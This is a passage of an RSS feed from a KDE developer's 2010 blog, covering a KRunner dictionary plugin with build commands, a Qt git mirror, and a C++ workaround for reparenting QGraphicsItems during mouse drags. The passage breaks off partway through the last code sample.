		<description><![CDATA[Uhhh what?<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/364#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=364" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>Uhhh what?<br />
<img src="http://blog.zx2c4.com/wp-content/uploads/2010/08/hijacked.png" alt="" title="appeal.kde.org" width="775" height="528" class="aligncenter size-full wp-image-365" /></p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/364#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=364" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F364&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/364"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/364"  data-text="appeal.kde.org Hijacked by Debian Gaming Ninjas" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/364"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/364/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Oxygen Window Dragging</title>
		<link>http://blog.zx2c4.com/360</link>
		<comments>http://blog.zx2c4.com/360#comments</comments>
		<pubDate>Sat, 14 Aug 2010 22:36:43 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=360</guid>
		<description><![CDATA[Hugo Pereira Da Costa and Thomas Luebking are geniuses. If you&#8217;ve used KDE 4.5, you&#8217;ve probably noticed that you can now drag windows by selecting any blank area. You&#8217;ve also probably read that, as expected, this only works with Qt apps. How does such hackery work? What in Qt allows this kind of interaction? How [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/360#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=360" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><i>Hugo Pereira Da Costa and Thomas Luebking are geniuses.</i> If you&#8217;ve used KDE 4.5, you&#8217;ve probably noticed that you can now drag windows by selecting any blank area. You&#8217;ve also probably read that, as expected, this only works with Qt apps. How does such hackery work? What in Qt allows this kind of interaction? How can a window decoration enable such an interaction with the window manager? How do we know which events on which widgets to intercept? I suggest that if you haven&#8217;t already seen it, you give <a href="http://websvn.kde.org/trunk/KDE/kdebase/workspace/kstyles/oxygen/oxygenwindowmanager.cpp?view=markup" onclick="pageTracker._trackPageview('/outgoing/websvn.kde.org/trunk/KDE/kdebase/workspace/kstyles/oxygen/oxygenwindowmanager.cpp?view=markup&amp;referer=');">oxygenwindowmanager.cpp</a> a close read. It&#8217;s extremely educational.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/360#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=360" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F360&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/360"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/360"  data-text="Oxygen Window Dragging" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/360"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/360/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Qt Git Mirror</title>
		<link>http://blog.zx2c4.com/344</link>
		<comments>http://blog.zx2c4.com/344#comments</comments>
		<pubDate>Fri, 06 Aug 2010 17:00:18 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[CGit]]></category>
		<category><![CDATA[Git]]></category>
		<category><![CDATA[Gitorious]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[Nokia]]></category>
		<category><![CDATA[Qt]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=344</guid>
		<description><![CDATA[I frequently find myself wanting to look through the Qt source or look through a couple of commits. I could keep a copy of Qt checked out on all the computers I use, and flick through the repository using git command-line or qgit or even git instaweb, but this is usually less convenient than simply [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/344#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=344" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>I frequently find myself wanting to look through the Qt source or look through a couple of commits. I could keep a copy of Qt checked out on all the computers I use, and flick through the repository using git command-line or qgit or even git instaweb, but this is usually less convenient than simply heading over to <a href="http://qt.gitorious.org" onclick="pageTracker._trackPageview('/outgoing/qt.gitorious.org?referer=');">gitorious</a>. Unfortunately, gitorious is notoriously <i>sluggish</i> and I find their site design a bit hindering as well.</p>
<p>So I&#8217;ve decided to mirror Qt&#8217;s repository on my personal <a href="http://blog.zx2c4.com/293">server</a> <a href="http://blog.zx2c4.com/325">running</a> <a href="http://blog.zx2c4.com/341">cgit</a>, which is much much faster than Gitorious. It&#8217;s synced once an hour by cron. And if nobody abuses this, I&#8217;ll keep it open for the community.</p>
<p><font size="+1">Head on over to <a href="http://git.zx2c4.com/qt" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/qt?referer=');">git.zx2c4.com/qt</a>.</font></p>
<p>Next up, I might attempt to mirror KDE&#8217;s subversion repository on my CGit. I&#8217;m not a very big fan of <a href="http://websvn.kde.org" onclick="pageTracker._trackPageview('/outgoing/websvn.kde.org?referer=');">websvn</a>, and I know <a href="http://www.omat.nl/2010/08/02/git-infrastructure-launch/" onclick="pageTracker._trackPageview('/outgoing/www.omat.nl/2010/08/02/git-infrastructure-launch/?referer=');">KDE is moving to git</a>, but the main tree won&#8217;t be moved for <a href="http://community.kde.org/Sysadmin/GitInfrastructureLaunch" onclick="pageTracker._trackPageview('/outgoing/community.kde.org/Sysadmin/GitInfrastructureLaunch?referer=');">quite some time</a>. Anyone an expert at <tt>git-svn</tt> and can provide some tips for a mirroring script to a bare repository? As we speak, I&#8217;m running <tt>git svn fetch</tt> on a repository made with <tt>git svn init --stdlayout svn://anonsvn....</tt>, and then manually adjusted to be bare. The import is taking a long time&#8230;</p>
<p><b>Update update update:</b> Holy cow. After leaving <tt>git svn fetch</tt> running overnight, I&#8217;m on revision 41671 of 1159974&#8230; which is only 3.5% done (and by the way, I&#8217;m running this out of a data center&#8217;s über-bandwidth connection). KDE has a huge history; this is obscene. Any pointers here? Should I stop this? Have I done something silly that will render the eventual result unusable?</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/344#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=344" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F344&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/344"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/344"  data-text="Qt Git Mirror" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/344"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/344/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Definable Trigger Word on Dictionary KRunner</title>
		<link>http://blog.zx2c4.com/313</link>
		<comments>http://blog.zx2c4.com/313#comments</comments>
		<pubDate>Sun, 01 Aug 2010 18:33:15 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[plasma]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=313</guid>
		<description><![CDATA[I announced in a previous post that I&#8217;ve created a dictionary runner for KDE SC 4.6. One requested feature in the comments was the ability to define a custom trigger word. I have added it. Here you see it uses definir instead of define. It&#8217;s configurable through the KCM popup in the krunner settings. If [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/313#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=313" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>I announced in a <a href="http://blog.zx2c4.com/285">previous post</a> that I&#8217;ve created a dictionary runner for KDE SC 4.6. One requested feature in the comments was the ability to define a custom trigger word. I have added it.<br />
<img src="http://blog.zx2c4.com/wp-content/uploads/2010/08/definir.png" alt="" title="Definir, not Define" width="433" height="216" class="aligncenter size-full wp-image-314" /><br />
Here you see it uses <i>definir</i> instead of define.<br />
<img src="http://blog.zx2c4.com/wp-content/uploads/2010/08/changetriggerword.png" alt="" title="KCM Module" width="426" height="349" class="aligncenter size-full wp-image-315" /><br />
It&#8217;s configurable through the KCM popup in the krunner settings.</p>
<p>If you set the trigger word to nothing, then it will add dictionary entries for every query, which could be neat:<br />
<img src="http://blog.zx2c4.com/wp-content/uploads/2010/08/notriggerword.png" alt="" title="No Trigger Word" width="420" height="350" class="aligncenter size-full wp-image-317" /></p>
<p>Hoping to move this out of kdereview soon and into kdebase.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/313#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=313" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F313&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/313"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/313"  data-text="Definable Trigger Word on Dictionary KRunner" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/313"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/313/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>KRunner Dictionary Plugin: Finally</title>
		<link>http://blog.zx2c4.com/285</link>
		<comments>http://blog.zx2c4.com/285#comments</comments>
		<pubDate>Thu, 29 Jul 2010 13:33:25 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[krunner]]></category>
		<category><![CDATA[plasma]]></category>
		<category><![CDATA[Qt]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=285</guid>
		<description><![CDATA[Four months ago I promised to make a dictionary KRunner plugin. I&#8217;ve finally started to write it. It&#8217;s currently in kdereview and will hopefully be included with KDE SC 4.6. It functions as simply as I wanted it to back in March: you hit alt+f2, type &#8220;define {your word}&#8221;, and presto, the results are there. [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/285#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=285" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>Four months ago <a href="http://blog.zx2c4.com/269">I promised</a> to make a dictionary KRunner plugin. I&#8217;ve finally started to write it.<br />
<img src="http://blog.zx2c4.com/wp-content/uploads/2010/07/dictionarykrunner.png" alt="" title="Dictionary KRunner" width="434" height="360" class="aligncenter size-full wp-image-286" /><br />
It&#8217;s currently in <a href="http://websvn.kde.org/trunk/kdereview/plasma/runners/dictionary/" onclick="pageTracker._trackPageview('/outgoing/websvn.kde.org/trunk/kdereview/plasma/runners/dictionary/?referer=');">kdereview</a> and will hopefully be included with KDE SC 4.6.</p>
<p>It functions as simply as I wanted it to back in March: you hit alt+f2, type &#8220;define {your word}&#8221;, and presto, the results are there.</p>
<p>Unfortunately, it wasn&#8217;t as easy as it ought to have been. I utilize the same data source as the dictionary plasmoid, which is a Plasma::DataEngine, and as it turns out, DataEngine has a few issues with threading, which KRunner relies on. It&#8217;s also built around signal/slot async requests, while KRunner uses a blocking thread for computation. I ended up having to invoke a QMetaMethod to shuffle things to the right thread and use a QMutex for synchronization. What a hassle. Nevertheless, the dictionary plugin seems to work pretty well.</p>
<p>Anything I should add to it? Ability to choose alternative trigger words to &#8220;define&#8221;? Some kind of loading indicator? If you have the time, <a href="http://websvn.kde.org/trunk/kdereview/plasma/runners/dictionary/" onclick="pageTracker._trackPageview('/outgoing/websvn.kde.org/trunk/kdereview/plasma/runners/dictionary/?referer=');">try out the code</a> and let me know what you think.</p>
<p><b>Update:</b> Some of you in the comments and on IRC have asked me the best way to try this out immediately. Here are the commands:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">svn</span> <span style="color: #c20cb9; font-weight: bold;">co</span> <span style="color: #c20cb9; font-weight: bold;">svn</span>:<span style="color: #000000; font-weight: bold;">//</span>anonsvn.kde.org<span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>kde<span style="color: #000000; font-weight: bold;">/</span>trunk<span style="color: #000000; font-weight: bold;">/</span>kdereview<span style="color: #000000; font-weight: bold;">/</span>plasma<span style="color: #000000; font-weight: bold;">/</span>runners<span style="color: #000000; font-weight: bold;">/</span>dictionary dictionary-krunner
<span style="color: #7a0874; font-weight: bold;">cd</span> dictionary-krunner
cmake . -DCMAKE_INSTALL_PREFIX=$<span style="color: #7a0874; font-weight: bold;">&#40;</span>kde4-config --prefix<span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #c20cb9; font-weight: bold;">make</span>
<span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">make</span> <span style="color: #c20cb9; font-weight: bold;">install</span>
kbuildsycoca4
kquitapp krunner
krunner</pre></div></div>

<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/285#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=285" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F285&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/285"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/285"  data-text="KRunner Dictionary Plugin: Finally" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/285"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/285/feed</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Reparenting QGraphicsItem during Mouse Drag</title>
		<link>http://blog.zx2c4.com/275</link>
		<comments>http://blog.zx2c4.com/275#comments</comments>
		<pubDate>Wed, 23 Jun 2010 00:10:13 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Grafitroniks]]></category>
		<category><![CDATA[GraphicsView]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[Qt]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=275</guid>
		<description><![CDATA[QGraphicsItem::setFlag(ItemIsMovable) is a wonderful feature. With one line of code, an item becomes dragable with the mouse for repositioning. Unfortunately, things get a bit tricky when reparenting during drags. Let&#8217;s say you have two QGraphicsItem called plate1 and plate2, in a subclass called PlateGraphicsItem. Inside plate1 and plate2, you have a few child items, food1, [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/275#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=275" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><tt>QGraphicsItem::setFlag(ItemIsMovable)</tt> is a wonderful feature. With one line of code, an item becomes dragable with the mouse for repositioning. Unfortunately, things get a bit tricky when <i>reparenting</i> during drags.</p>
<p>Let&#8217;s say you have two QGraphicsItem called plate1 and plate2, in a subclass called PlateGraphicsItem. Inside plate1 and plate2, you have a few child items, food1, food2, food3, food4, etc, in a subclass called FoodGraphicsItem. Foods are inside of plates. What if we want to move one piece of food from one plate to another, smoothly dragging it there? Intuitively, we should be able to do this (after remembering to run <tt>setFlag(ItemSendsGeometryChanges)</tt>):</p>

<div class="wp_syntax"><div class="code"><pre class="cpp-qt" style="font-family:monospace;"><span style="color: #22aadd;">QVariant</span> FoodGraphicsItem<span style="color: #006E28;">::</span><span style="color: #2B74C7;">itemChange</span><span style="color: #006E28;">&#40;</span>GraphicsItemChange change<span style="color: #006E28;">,</span> <span style="color: #0057AE;">const</span> <span style="color: #22aadd;">QVariant</span> <span style="color: #006E28;">&amp;</span>value<span style="color: #006E28;">&#41;</span>
<span style="color: #006E28;">&#123;</span>
	<span style="color: #000000; font-weight:bold;">if</span> <span style="color: #006E28;">&#40;</span>change <span style="color: #006E28;">==</span> ItemPositionChange <span style="color: #006E28;">&amp;&amp;</span> scene<span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span> <span style="color: #006E28;">&#123;</span>
		<span style="color: #22aadd;">QRectF</span> newRect <span style="color: #006E28;">=</span> mapRectToScene<span style="color: #006E28;">&#40;</span>boundingRect<span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">;</span>
		newRect.<span style="color: #2B74C7;">moveTo</span><span style="color: #006E28;">&#40;</span>parentItem<span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">mapToScene</span><span style="color: #006E28;">&#40;</span>value.<span style="color: #2B74C7;">toPointF</span><span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">;</span>
		<span style="color: #0057AE;">foreach</span> <span style="color: #006E28;">&#40;</span><span style="color: #22aadd;">QGraphicsItem</span> <span style="color: #006E28;">*</span>item<span style="color: #006E28;">,</span> scene<span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">items</span><span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span> <span style="color: #006E28;">&#123;</span>
			<span style="color: #000000; font-weight:bold;">if</span> <span style="color: #006E28;">&#40;</span>item <span style="color: #006E28;">!=</span> parentItem<span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span> <span style="color: #006E28;">&amp;&amp;</span>
			    qgraphicsitem_cast<span style="color: #006E28;">&lt;</span> PlateGraphicsItem<span style="color: #006E28;">*</span> <span style="color: #006E28;">&gt;</span><span style="color: #006E28;">&#40;</span>item<span style="color: #006E28;">&#41;</span> <span style="color: #006E28;">&amp;&amp;</span>
			    item<span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">mapRectToScene</span><span style="color: #006E28;">&#40;</span>item<span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">boundingRect</span><span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span>.<span style="color: #2B74C7;">contains</span><span style="color: #006E28;">&#40;</span>newRect<span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span> <span style="color: #006E28;">&#123;</span>
				setParentItem<span style="color: #006E28;">&#40;</span>item<span style="color: #006E28;">&#41;</span><span style="color: #006E28;">;</span>
				break<span style="color: #006E28;">;</span>
			<span style="color: #006E28;">&#125;</span>
		<span style="color: #006E28;">&#125;</span>
	<span style="color: #006E28;">&#125;</span>
	<span style="color: #000000; font-weight:bold;">return</span> <span style="color: #22aadd;">QGraphicsItem</span><span style="color: #006E28;">::</span><span style="color: #2B74C7;">itemChange</span><span style="color: #006E28;">&#40;</span>change<span style="color: #006E28;">,</span> value<span style="color: #006E28;">&#41;</span><span style="color: #006E28;">;</span>
<span style="color: #006E28;">&#125;</span></pre></div></div>

<p>As the user drags the food, we see if it&#8217;s boundingbox fits inside the bounding box of a different plate. If it does, we switch parents. But this doesn&#8217;t happen. As soon as the item is reparented, it leaps across the screen to the <i>same relative position it was in while inside of the old plate</i>. If it was on the bottom-left corner of the old plate, it moves to the bottom-left corner of the new plate. Not what we want. So it <i>seems</i> like we should be able to modify the inside of that loop like this:</p>

<div class="wp_syntax"><div class="code"><pre class="cpp-qt" style="font-family:monospace;">				<span style="color: #22aadd;">QPointF</span> oldPos <span style="color: #006E28;">=</span> scenePos<span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">;</span>
				setParentItem<span style="color: #006E28;">&#40;</span>item<span style="color: #006E28;">&#41;</span><span style="color: #006E28;">;</span>
				<span style="color: #000000; font-weight:bold;">return</span> <span style="color: #22aadd;">QVariant</span><span style="color: #006E28;">&#40;</span>item<span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">mapFromScene</span><span style="color: #006E28;">&#40;</span>oldPos<span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">;</span></pre></div></div>

<p>But alas, this does not work either. As soon as you move the mouse again (while still dragging), the item leaps to where it was before the above fix. And remember: this leap puts the item far away from underneath the mouse cursor. So it works initially, but the next time Qt&#8217;s MouseMove event handler is called, we&#8217;re SOL.</p>
<p>After digging through the Qt source for quite a bit of time, it turns out that Qt keeps track of where the mouse was pressed originally, in the scene coordinates, and uses this to compute the new location relative to the old parent coordinates. Not good. Mixing coordinate systems like this is not okay once the item is reparented. It turns out, we have to simulate a mouse release event to clear Qt&#8217;s internal state. But this doesn&#8217;t completely do it, because the mouse event still has the scene coordinate of where the button was pressed, which means we also need to intercept and tamper this information before Qt sees it. Essentially what this amounts to is reversing Qt&#8217;s coordinate equation, solving for zero, and adding back the location that we want. And this has to happen every time the user moves the mouse, but it should only happen once the item has been reparented. And if the item is reparented back to the original plate after a series of drags, we still have to do this transformation, since we have already cleared Qt&#8217;s internal state, which means we need to store the click location once we reparent.</p>
<p>So all and all, this <i>horrible</i> hack amounts to adding this (and making the above modification):</p>

<div class="wp_syntax"><div class="code"><pre class="cpp-qt" style="font-family:monospace;"><span style="color: #0057AE;">void</span> FoodGraphicsItem<span style="color: #006E28;">::</span><span style="color: #2B74C7;">mouseMoveEvent</span><span style="color: #006E28;">&#40;</span><span style="color: #22aadd;">QGraphicsSceneMouseEvent</span> <span style="color: #006E28;">*</span>event<span style="color: #006E28;">&#41;</span>
<span style="color: #006E28;">&#123;</span>
	<span style="color: #888888;">//BIG PHAT UGLY HACK!</span>
	<span style="color: #000000; font-weight:bold;">if</span> <span style="color: #006E28;">&#40;</span>event<span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">buttonDownScenePos</span><span style="color: #006E28;">&#40;</span><span style="color: #22aadd;">Qt</span><span style="color: #006E28;">::</span><span style="color: #2B74C7;">LeftButton</span><span style="color: #006E28;">&#41;</span> <span style="color: #006E28;">==</span> m_manualMouseReleaseAt <span style="color: #006E28;">||</span>
	    <span style="color: #006E28;">!</span>parentItem<span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">contains</span><span style="color: #006E28;">&#40;</span>parentItem<span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">mapFromScene</span><span style="color: #006E28;">&#40;</span>event<span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">buttonDownScenePos</span><span style="color: #006E28;">&#40;</span><span style="color: #22aadd;">Qt</span><span style="color: #006E28;">::</span><span style="color: #2B74C7;">LeftButton</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">&#41;</span> <span style="color: #006E28;">&#123;</span>
		m_manualMouseReleaseAt <span style="color: #006E28;">=</span> event<span style="color: #006E28;">-&gt;</span><span style="color: #2B74C7;">buttonDownScenePos</span><span style="color: #006E28;">&#40;</span><span style="color: #22aadd;">Qt</span><span style="color: #006E28;">::</span><span style="color: #2B74C7;">LeftButton</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">;</span>
		<span style="color: #22aadd;">QGraphicsSceneMouseEvent</span> mouseRelease<span style="color: #006E28;">&#40;</span><span style="color: #22aadd;">QEvent</span><span style="color: #006E28;">::</span><span style="color: #2B74C7;">GraphicsSceneMouseRelease</span><span style="color: #006E28;">&#41;</span><span style="color: #006E28;">;</span>
		<span style="color: #22aadd;">QGraphicsItem</span><span style="color: #006E28;">::</span><span style="color: #2B74C7;">mouseReleaseEvent</span><span style="color: #006E28;">&#40;</span><span style="color: #006E28;">&amp;</span>mouseRelease<span style="color: #006E28;">&#41;</span><span style="color: #006E28;">;</span>
